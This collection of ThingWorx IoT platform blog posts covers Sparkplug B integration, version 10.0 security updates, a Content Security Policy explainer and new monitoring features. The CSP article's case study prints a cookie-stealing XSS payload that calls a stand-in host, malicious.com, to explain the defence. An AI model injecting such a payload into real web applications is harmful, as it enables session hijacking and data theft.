Model in ThingWorx: Create Thing Templates and Things corresponding to edge devices. Define Properties to mirror Sparkplug B metrics (e.g., Voltage, Temperature, Pressure).   4.2 Mapping Sparkplug B to ThingWorx   The SDK maps Sparkplug B payloads to ThingWorx entities. For example: Sparkplug Topic: spBv1.0/FactoryA/DDATA/Node1/Device1/Voltage ThingWorx Entity: A Thing named FactoryA_Node1_Device1 with a Property Voltage. The SDK handles: Data Ingestion: Subscribes to Sparkplug B topics and updates ThingWorx Properties in real time. Event Handling: Processes Birth/Death messages to manage device state in ThingWorx.   4.3 Extending the UNS   ThingWorx’s extensibility allows the UNS to evolve: Services: Custom services can aggregate or transform data (e.g., calculating averages across a production line). Mashups: Visualize the UNS hierarchy using ThingWorx’s UI tools. Analytics: Integrate with ThingWorx Analytics to derive insights from UNS data.   5. Benefits of ThingWorx in a UNS   Scalability: ThingWorx’s distributed architecture supports thousands of edge devices within a UNS. Interoperability: Seamless integration with edge using Sparkplug B and with different systems using REST API OR OOTB connectors ensures compatibility with diverse industrial protocols and systems. Real-Time Visibility: Immediate data updates enable responsive decision-making. Extensibility: Developers can enhance the UNS with custom logic, integration, and visualizations.   6. Case Study: Manufacturing Line Monitoring   Consider a factory with multiple production lines. Using the SparkplugB-Edge-SDK: Edge sensors publish data to spBv1.0/FactoryA/DDATA/Line1/Machine1/ Voltage. The SDK relays this to ThingWorx, updating the Line1_Machine1 Thing’s Voltage Property. A ThingWorx mashup displays real-time Voltage (and properties like RPM, Torque/Current, Power Factor, etc.,) across all machines, organized by the UNS hierarchy. Alerts trigger if Voltage exceed thresholds, demonstrating actionable insights derived from the UNS. This setup provides a cohesive, scalable monitoring solution.   7. Challenges and Considerations   Network Reliability: MQTT requires a stable connection; ThingWorx’s data storage capabilities can mitigate disruptions. Data Volume: High-frequency updates may strain resources; optimize payload sizes and subscription rates. Security: Secure MQTT with TLS and enforce ThingWorx access controls to protect the UNS.   8. Conclusion   ThingWorx, offers a powerful platform for operationalizing a Unified Namespace in industrial IoT environments. By leveraging Sparkplug B’s standardized messaging and ThingWorx’s robust data management and visualization capabilities, organizations can achieve a scalable, interoperable, and real-time data architecture. This article provides a high-level blueprint for integrating these technologies, empowering industries to unlock the full potential of their data.   9. Road ahead   ThingWorx already ingests data over MQTT using the MQTT extension, this Sparkplug-edge SDK, Kepware, or via Azure IoT hub, but with IoT Streams capability introduced in ThingWorx v10.0, users will have the ability to send contextualized IoT data for further analysis and intelligence for end to end Industrial Data Management and UNS needs. PTC plans to provide more OOTB capabilities to ingest MQTT data coming into ThingWorx, contextualize it, and make that contextualize data rapidly available over MQTT to other resources at scale. Stay tuned!     As ThingWorx community members get further along their journey of implementing UNS using ThingWorx, please do not hesitate to provide us your feedback or ask questions in the ThingWorx IoT community.       Cheers, Ayush Tiwari Director Product Management, ThingWorx.  

ThingWorx has long been a trusted platform in the industrial IoT space, helping organizations build and scale connected solutions. With the release of ThingWorx 10.0, we're introducing meaningful updates that make it easier, faster, and more secure to develop and manage industrial IoT applications — while keeping the core strengths that customers rely on.   ThingWorx 10.0 isn't just about new features; it's about making the platform more efficient, more reliable, and better aligned with today’s enterprise needs. Key enhancements focus on improving performance at scale, streamlining developer workflows, and strengthening security frameworks — essential capabilities for any modern IoT deployment. While security improvements are critical, they represent the standard customers expect, and we’ve invested in making sure ThingWorx continues to meet and exceed those expectations.   Here is a summary of the latest security updates for ThingWorx, including patches and vulnerability fixes. Reviewing and applying these updates is essential to protect your systems from emerging threats and ensure the ongoing security and stability of your ThingWorx environment.   JAVA 21 Support   Future-Proofing Your Applications ThingWorx 10.0 now supports Java 21, ensuring that your applications benefit from the latest language improvements and long-term support. Starting with ThingWorx 10, Java 21 will be the only supported version, marking the end of Java 11 support for the core platform. Enhanced Performance and Security Java 21 brings improved garbage collection, better memory management, and access to the latest security patches, which are essential for sustaining platform stability in today’s fast-paced technology environment.   TLS 1.3 Support   Evolving Encryption Standards with TLS 1.3 Support Leading up to the release of ThingWorx 10.0, PTC has progressively introduced TLS 1.3 support across recent platform versions, including ThingWorx 9.6, 9.7, and now in ThingWorx 10.0. This phased rollout ensures customers benefit from stronger encryption, faster handshake processes, and reduced latency — all critical improvements for securing data in modern industrial IoT environments. Continued Backward Compatibility We recognize that many customers operate in diverse and complex environments. To support a smooth transition, ThingWorx continues to maintain full backward compatibility with TLS 1.2. Customers who are not yet ready to move fully to TLS 1.3 can continue to operate securely without disruption.   Tomcat 11 Support   Enhanced Performance & Scalability Leveraging Apache Tomcat 11, ThingWorx 10.0 provides improved handling of concurrent connections, faster response times, and better resource management. Stronger Security Configurations The latest Tomcat version comes with refined security settings, reducing the attack surface and offering robust default configurations.   Custom Logback Support   Logback is a widely used logging framework for Java applications, chosen for its speed, flexibility, and reliability. It helps developers capture and manage logs efficiently, which is critical for debugging, monitoring, and maintaining system health. For customers, this means faster issue resolution, improved system stability, and better performance insights. With Logback in place, engineering teams can proactively identify and address problems, minimizing downtime and enhancing the overall user experience. In essence, robust logging through Logback directly contributes to a more reliable and responsive product for customers. With the launch of ThingWorx 10, we've made some important updates behind the scenes to improve system reliability and performance. One of these changes involves how logging is handled, which helps us monitor and troubleshoot the platform more effectively. To make this transition smooth for users who have made custom settings, we've provided a simple tool that automatically updates those settings to work with the latest version. It's a quick and easy process, and for those who prefer to make changes manually, we’ve also included clear step-by-step instructions. These updates help ensure a more stable, consistent experience as we continue to evolve the platform.   Spring Framework 6 Support   Modern Application Framework: By integrating Spring framework 6, developers can build more modular and resilient applications. This not only enhances performance but also simplifies the integration of security features. Improved Security Features: The new framework version offers enhanced support for dependency injection and security configuration, which aligns perfectly with our secure coding practices.   Enhanced Content Security Policy (CSP) Features   Foundational Defense Against Web-Based Threats ThingWorx 10.0 continues to enhance platform security with expanded support for Content Security Policy (CSP). While CSP functionality was first introduced in ThingWorx 9.3.15, 9.4.5, 9.5.1, and 9.6.0, this release builds on that foundation to improve defenses against common web-based threats such as cross-site scripting (XSS), data injection, clickjacking, and man-in-the-middle attacks. Phased Adoption Approach For ThingWorx 10.0, CSP support will be available but disabled by default. Cloud customers interested in enabling CSP will need to contact PTC Support to request activation. This approach ensures a smooth rollout while giving organizations flexibility based on their deployment and testing timelines. The current implementation lays the groundwork for a future where CSP could be enabled out-of-the-box (OOTB) in upcoming releases. For more details please visit help center   Remote Access and Control updates   The latest RAC enhancements in ThingWorx 9.7 continue to build on functionality introduced in earlier releases, delivering even stronger security, visibility, and scalability for Remote Service Engineers and ThingWorx Administrators. Engineers, who often operate behind proxies, now have an easier and more secure way to configure proxy settings for remote access.   Administrators benefit from enhanced remote session metrics, allowing them to better track and associate sessions with specific work orders. Additionally, improved tunneling support enables more scalable Remote Access Sessions, meeting the needs of advanced customer environments. These updates reinforce the security and manageability improvements first introduced in previous versions and take another step toward streamlining remote access management and enhancing scalability across the ThingWorx ecosystem.   Additional Third Party Stack Support Updates   With ThingWorx 10.0, we’re expanding compatibility across databases, middleware, and runtime environments to offer greater flexibility, security, and performance. These updates help organizations modernize their infrastructure while ensuring seamless integration with the latest technologies. Here’s a summary of the new supported platforms:   Category Sub-Category Supported Version Persistence Providers PostgreSQL v16.X v15.X v14.X   Microsoft SQL Server v2022.X   Azure DB for PostgreSQL Flex server v16.X v15.X v15.X   Azure SQL DB  v12.X   InfluxDB v1.11.X v2.7.X Operating System Windows and Linux Windows Server 2022 RHEL 8.10 and 9.4 Ubuntu 22.04.X   NOTE: Please refer to the Release Advisor as the single source of truth for the most accurate and up-to-date information.   PTC’s Commitment to Security and Innovation   At PTC, security is at the core of everything we do. Every product is built with a “security-first” mindset, ensuring that robust protection is woven into our development processes, architecture, and deployment practices. Our commitment is backed by a comprehensive Secure Development Lifecycle (SDLC) that includes advanced security practices such as SAST/DAST, secure coding standards, proactive vulnerability management, and rigorous penetration testing. These practices are designed not only to protect against known threats but also to continuously evolve with emerging risks. In addition, our shared security model clearly delineates the responsibilities between PTC and our customers, ensuring clarity and accountability in every deployment.   Our internal security policies and processes are a testament to our commitment:   Secure Development Lifecycle (SDLC): Static and Dynamic Analysis: We integrate Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST) throughout our development cycle. Vulnerability Management: Continuous scanning and timely updates for third-party libraries ensure that any potential vulnerabilities are swiftly identified and addressed. Penetration Testing: Both internal and external penetration tests are conducted periodically to uncover and mitigate risks. Compliance and Governance: We align our practices with industry standards such as ISO 27001 and GDPR, ensuring our products meet stringent regulatory requirements. A comprehensive set of deployment guides and configuration checklists helps maintain a secure environment throughout the product lifecycle. Training and Secure Design: Our teams are well-trained in the latest security methodologies through ongoing training initiatives, including role-based training sessions and tech talks. Security release criteria, threat modeling, and secure coding practices are integral to our product design. Secure Deployment Hub: Customers can always visit our Secure Deployment Hub to ensure any of the ThingWorx environment is deployed following best practices for maximum security and resilience not just ThingWorx 10.0.   These efforts not only strengthen the security of our products but also reassure our customers that each release is built with rigorous security standards at its core. They reflect just a portion of our broader commitment to proactive security, and we’re proud to be the trusted platform that enterprises rely on. The ThingWorx 10.0 preview release is now available for evaluation! This powerful, secure, and intelligent IoT platform is designed to elevate your industrial operations to the next level. To join the Private Preview Program, reach out to your account rep or customer success team. You can also comment on this post or submit a Tech Support ticket, and we’ll follow up to get you started. Vineet Khokhar Principal Product Manager, IoT Security   Stay tuned for more updates as we approach the release of ThingWorx 10.0, and as always, in case of issues, feel free to reach out to <support.ptc.com>  

Introduction    As the Internet of Things (IoT) continues to grow, securing web applications and connected devices is more critical than ever. Content Security Policy (CSP) is a security feature that helps protect IoT applications from malicious threats by controlling which resources—such as scripts, styles, and images—can be loaded and executed in a browser. This article explores what CSP is, the types of attacks it prevents, its role in securing IoT applications, the most common CSP directives used for enhanced security, and a real-world case study demonstrating CSP in action.    What is Content Security Policy (CSP)?    Content Security Policy (CSP) is a web security standard designed to reduce the risk of security vulnerabilities such as Cross-Site Scripting (XSS), data injection, and clickjacking by enforcing strict content-loading policies within web applications. It allows developers to specify which domains are permitted to execute scripts, load images, fetch data, and render styles, ensuring that only trusted sources can interact with the application.    How CSP Works    CSP works by defining security policies through HTTP headers or <meta> tags in the HTML document. These policies restrict the sources from which the browser can load various types of content, including JavaScript, CSS, and images. By doing so, CSP helps prevent unauthorized code execution and ensures that applications only interact with pre-approved content providers.    Why CSP is Essential    In an era where cyber threats are becoming more sophisticated, CSP plays a crucial role in securing web applications by:  Blocking Malicious Scripts: Prevents the execution of unauthorized JavaScript injected by attackers.  Preventing Data Exfiltration: Stops malicious code from sending sensitive user or device data to untrusted servers.  Mitigating Clickjacking: Restricts embedding in iframes to prevent deceptive UI attacks.  Enforcing Trusted Sources: Ensures that all resource requests originate from approved locations.    Types of Attacks Prevented by CSP    CSP acts as a defense mechanism against several types of web security threats, including:    a. Cross-Site Scripting (XSS)  Attackers inject malicious JavaScript into a web page to steal sensitive information, manipulate content, or perform unauthorized actions on behalf of the user.  CSP prevents XSS by restricting the execution of inline scripts and untrusted third-party JavaScript.    b. Clickjacking  Attackers trick users into clicking hidden elements (e.g., disguised buttons or links) within an iframe, potentially leading to account hijacking or unintended actions.  CSP helps mitigate clickjacking by enforcing the frame-ancestors directive, which controls who can embed the application in an iframe.    c. Data Injection Attacks  Attackers inject malicious content into an application, leading to data leaks, corrupted transactions, or manipulated IoT device responses.  CSP limits data injection risks by restricting content sources and enforcing secure policies   d. Mixed Content Attacks  When a secure HTTPS site loads insecure HTTP resources, attackers can intercept or modify the content.  CSP prevents mixed content vulnerabilities by enforcing policies that allow only secure content to be loaded.    Role of CSP in Securing IoT Applications    IoT applications often involve web-based dashboards, real-time analytics, and device interactions, making them attractive targets for cyber threats. CSP plays a crucial role in strengthening security by:    a. Restricting Untrusted Content  IoT platforms often load content dynamically from various sources, including APIs, third-party libraries, and external services. Without CSP, attackers can inject malicious scripts into these data streams, compromising the integrity of IoT dashboards. By defining strict CSP policies, developers can ensure that only pre-approved content sources are allowed.    b. Preventing Unauthorized Data Access  Many IoT applications handle sensitive data, such as real-time sensor readings, user credentials, and system logs. Attackers may attempt to inject malicious scripts that exfiltrate this data to external servers. CSP prevents such unauthorized access by blocking script execution from untrusted origins and preventing cross-origin data leaks.    c. Strengthening Access Control  In IoT ecosystems, multiple users, devices, and services interact with web applications. Without strict access controls, attackers can exploit weak points to execute unauthorized commands or alter data. CSP helps enforce access control by limiting the execution of scripts and API requests to verified sources, ensuring that only authenticated and authorized entities can interact with the system.    d. Minimizing Third-Party Risks  Many IoT applications integrate with third-party analytics tools, mapping services, and external widgets. If these third-party services are compromised, they can introduce vulnerabilities into the IoT ecosystem. CSP allows developers to whitelist only trusted third-party services, reducing the risk of supply chain attacks.    Common CSP Directives for Enhanced Security    To maximize security, developers should implement the following key CSP directives:  default-src: Defines the default source for all types of content (scripts, images, styles, etc.).  connect-src: Governs network requests (e.g., API calls, WebSockets, IoT data exchanges).  font-src: Specifies trusted sources for web fonts.  frame-ancestors: Prevents clickjacking by restricting which domains can embed the application in an iframe.  frame-src: Controls the sources from which iframes can be loaded.  img-src: Specifies trusted sources for loading images.  media-src: Defines allowed sources for media files like audio and video.  object-src: Restricts the sources from which plugins (e.g., Flash, Java applets) can be loaded.  script-src: Controls which sources are allowed to execute JavaScript.  style-src: Restricts the sources for CSS stylesheets.  worker-src: Defines the sources allowed to create web workers and service workers.  By defining a least-privilege CSP policy, developers can significantly reduce the attack surface and protect IoT applications from evolving cyber threats.    Case Study: Preventing an XSS Attack in an Industrial IoT Platform    Scenario:    A manufacturing company uses an Industrial IoT (IIoT) platform to monitor real-time sensor data from its factory machinery. The platform provides a web-based dashboard where engineers can track machine performance, predict failures, and configure alerts.    Attack Attempt:    An attacker exploits a form input field used for naming machines and injects the following malicious script:    <script>fetch('https://malicious.com/steal?data='+document.cookie);</script>    Since the platform lacks CSP enforcement, this script executes within the engineers’ browsers, stealing session cookies and granting unauthorized access to the attacker.    How CSP Prevented the Attack:    By implementing a CSP policy that restricts script execution to trusted sources, the attack is neutralized. The following CSP directive is applied:    Content-Security-Policy: script-src 'self' https://trusted-scripts.com;    This prevents unauthorized script execution, ensuring that malicious scripts injected by attackers do not run within the IIoT platform. As a result, the IIoT system remains secure, preventing attackers from compromising sensitive factory data or disrupting production operations.    Conclusion    Content Security Policy (CSP) is a fundamental security measure for modern web applications, particularly those operating in IoT environments. By understanding CSP, recognizing the threats it mitigates, and implementing the most effective directives, developers can ensure a more secure and resilient application framework.    CSP support has been introduced in ThingWorx versions 9.3.15, 9.4.5, 9.5.1, and 9.6.0. In the initial release, this feature will be disabled by default, and cloud customers will need to contact the support team to request activation, as it will not be enabled by default. The current implementation establishes a foundation that facilitates future out-of-the-box (OOTB) enablement of CSP in subsequent releases.   For more information on implementing the Content Security Policy, kindly refer to ThingWorx Help Center   Vineet Khokhar Principal Product Manager, IoT Security   Stay tuned for more updates as we approach the release of ThingWorx v10.0, and as always, in case of issues, feel free to reach out to <support.ptc.com>   

Improvements in Monitoring and Diagnostics The Outcome of the Diagnostics Forum of Yesterday By Tori Firewind, Principal Cloud Architect Introduction Many moons ago, a forum of dedicated diagnostic enthusiasts gathered together throughout several round-table discussions to produce a list of diagnostic daydreams, groom and refine that list, and then use it to produce realistic, yet awesome diagnostics requirements. Three different organizations, eight teams in total across PTC were involved, and dozens of real-world, customer experiences were considered throughout these conferences. In the end, a large diagnostics feature was designed and passed already prioritized, from the front lines directly into the backlog in the first ever collaborative effort to do Dev Ops as a process at PTC.   The fruits of this labor are now available in the latest version, ThingWorx 9.7! These features include the largely anticipated acceleration-based monitoring, custom persistence provider monitoring, and the ability to turn off metrics as needed, as well as additional open telemetry integrations and capabilities. This article will spotlight some of these new features and direct you to the 9.7 Help Center pages for more information. The Platform is smarter and Dev Ops easier than ever before, with the latest and greatest in monitoring found right here in ThingWorx 9.7.   Acceleration-Based Monitoring This is an extremely cool new feature in ThingWorx where the Platform monitors itself for runaway queues, those which indicate a system malfunction in the event or value stream queues for instance. If the acceleration is high enough for that queue, the Platform will automatically generate stack traces. This ensures the diagnostic data is already on the disc if and when the issue progresses to an outage.   No more do diagnostic SMEs have to sit and wait for a problem to occur again before they start investigating! Now they can download the stack traces that the Platform already stored on the disc.   Of course, it’s really important to get this feature configured right. If thread dumps are taken too often, those associated with the root cause may be purged before a tech can look more closely; only 10 thread dumps at a time are stored on the disc to prevent it growing out of proportion. On the other hand, if it does not take thread dumps often enough or in response to the right kinds of acceleration readings, then the root cause may altogether not be captured.   For this reason, there are several parameters to use to configure this feature, one being the acceleration increase percentage, considered very significant and a potential sign of trouble within the queue. This value is a flat percentage calculated at the time of measurement: queue count / total size of the queue. This number is checked frequently, as configured by another parameter, the acceleration calculation frequency. If the queue size exceeds the queue capacity occupied percentage at the same time the increase percentage is above the threshold, then the Platform records a stack trace on the disc. This ensures the diagnostic data will be present even after a restart, from early on when the problem began.   Another key parameter is the number of acceleration occurrences to wait before turning the thread captures on, which allows for a great specificity of when to collect the diagnostic data. Even if the acceleration is met once, well maybe that means nothing; perhaps it is normal for the queue to accelerate quickly at times. However, let’s say it does it 5 times within 30 seconds or a minute, or maybe the acceleration is elevated for some time, and we are approaching a data loss scenario. A rule based around the first scenario will capture close to the root cause, while the second might serve to collect what events didn’t make it into the queue before the restart.   Once the thread dumps are taken, there is a configurable cool off period in which no new stack traces will be recorded. This can allow the stack traces to be taken repeatedly at set intervals for persistent issues, and also reduces the overall activity of recording stack traces to ensure only the most useful ones remain on the disc.   One of five queues can be monitored in this way: Persistent Property Queue Event Processing Queue Stream Processing Queue Value Stream Processing Queue Connections Pool Processing Queue An example of setting all of these values can be found along with more information in the Help Center.   Custom Persistence Provider Monitoring There is now the capacity to see what the Platform is doing when interacting with your own custom persistence providers, or those used by the various ThingWorx applications like Navigate or DPM. At the monitoring endpoint, all persistence providers will now be listed at /Metrics, tagged by their name and database type:     # HELP thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections Current count of busy connections to the underlying database # TYPE thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections gauge thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections{category="DPMpersistenceProvider.ConnectionPool",databaseType="Microsoft SQL Server",otel_scope_name="com.thingworx",persistenceProviderEntityName="DPMpersistenceProvider",platformid="",prefix="Platform.Core.PersistenceProvider"} 0.0 thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections{category="ThingworxPersistenceProvider.ConnectionPool",databaseType="PostgreSQL",otel_scope_name="com.thingworx",persistenceProviderEntityName="ThingworxPersistenceProvider",platformid="",prefix="Platform.Core.PersistenceProvider"} 0.0     For more information about which parts of the persistence providers are monitored, see the Help Center.   Disable Metrics Now there is the potential to turn off some metrics if they become problematic or threaten to destabilize the entire environment. For example, the Audit Subsystem has a history of causing such issues for many, since the database tables grow very large and counting the rows can begin to take time. Turning these metrics off is now something easily done in the next maintenance window.   Simply add some code to your platform-settings.json file and restart the server, and whatever metrics specified will no longer be captured or appear at the metrics endpoints:     "MetricsSettings": { "DisabledMetricsList": [ "<metrics name 1>", "<metrics name 2>", "<metrics name 3>" ] }     Please note that there are several caveats and a warning to those who would turn off default monitoring features: ensure critical metrics are not unintentionally turned off and remember that this feature is intended for administrators who know the system well and need the ability to fine-tune its monitoring to ensure performance. Read more about this feature and its caveats in the Help Center.   Open Telemetry OpenTelemetry support was introduced in 9.6 and expanded in ThingWorx 9.7 to facilitate the recording of high volume monitoring metrics. It handles large-scale metrics and provides a more robust observability and capability for both diagnostic and predictive analysis. Find the new endpoint at /MetricsHC, with the old metrics still available as before. You can also use this metrics library to create your own custom metrics in a ThingWorx Extension, really expanding the metrics capability of the Platform. More information on how to make use of OpenTelemetry for monitoring can be found in the Help Center.   Conclusion ThingWorx does Dev Ops now better than ever, with features like these coming straight from real-world experiences and going right into the development workflow. Already, 4 additional monitoring features have been thought up and added to the mix, and improvements are coming soon! With more feedback on how to better to Dev Ops in ThingWorx, feel free to reach out.